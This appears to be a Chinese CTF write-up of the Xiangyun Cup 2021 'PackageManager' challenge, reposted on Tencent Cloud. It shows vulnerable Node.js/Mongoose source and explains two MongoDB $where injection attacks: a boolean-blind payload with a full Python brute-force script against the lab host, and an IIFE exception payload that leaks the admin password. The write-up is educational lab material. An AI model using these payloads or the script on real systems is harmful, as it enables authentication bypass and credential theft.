前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >祥云杯 2021 PackageManager writeup

祥云杯 2021 PackageManager writeup

作者头像
ek1ng
发布2022-08-10 21:53:47
4670
发布2022-08-10 21:53:47
举报
文章被收录于专栏:ek1ng的技术小站

祥云杯 2021 PackageManager writeup

这题在BUUOJ上有复现环境,是个mongodb注入的题目,也有xsleaks的解法但是我目前还没搞明白,以下是两种注入的解法

布尔盲注

注册登录后发现是个包管理的页面,可以创建自己的包,那么根据源码初始化数据库这一部分,比较显然我们需要登录admin的账号然后admin会有个包里面有flag。

image-20220323161015566
image-20220323161015566
image-20220323160826952
image-20220323160826952

那我们的目标就是找到admin用户的密码

漏洞产生的点是/auth接口,auth接口是用于验证submit package的用户是不是admin用户,然后是需要提交一个admin的token,这个token就是admin用户的密码的md5,我们可以在这里构造一下payload然后爆出password,从而实现admin用户登录。

正则检测的waf没有加^$,意味着后面可以加or条件,这个很关键

代码语言:javascript
复制
router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});

我们构造token:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a使得括号内的值为

this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"

此时只要或条件成立语句就为真,写个脚本就可以爆出密码啦

代码语言:javascript
复制
import requests
import string

url="http://d8ec246d-507e-4aaa-a226-d318473d31ec.node4.buuoj.cn:81/auth"
headers={
    "Cookie": "session=s%3Ay8Ne8sPLeY55QXmWPyh3WmPiuoDgOp6y.U3VuzJCBxWcb5AWW8CCkPJqnSmYJ1N9EnHvoR%2BBuGho",
}

flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        data={
            "_csrf": "YzvJKLZc-4Sp0gfSn-hIRIF4bUZu0nhXy0HU",
            "token": payload
        }
        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        # print(r.text)
        if "Found. Redirecting to" in r.text:
            print(payload)
            flag+=j
            print(flag)
            break
image-20220323155929287
image-20220323155929287
image-20220323160751490
image-20220323160751490

异常注入

同样的是对auth接口这里逻辑判断,利用了js的抛出异常和IIFE(立即调用函数表达式)来实现

token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin

逻辑判断语句为:this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"

这里就是立即执行throw Error(this.password),后面是!=还是== 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到password的值

代码语言:javascript
复制
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin""`).exec()
console.log(docs);
image-20220323165452041
image-20220323165452041
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年3月23日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 祥云杯 2021 PackageManager writeup
    • 布尔盲注
      • 异常注入
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档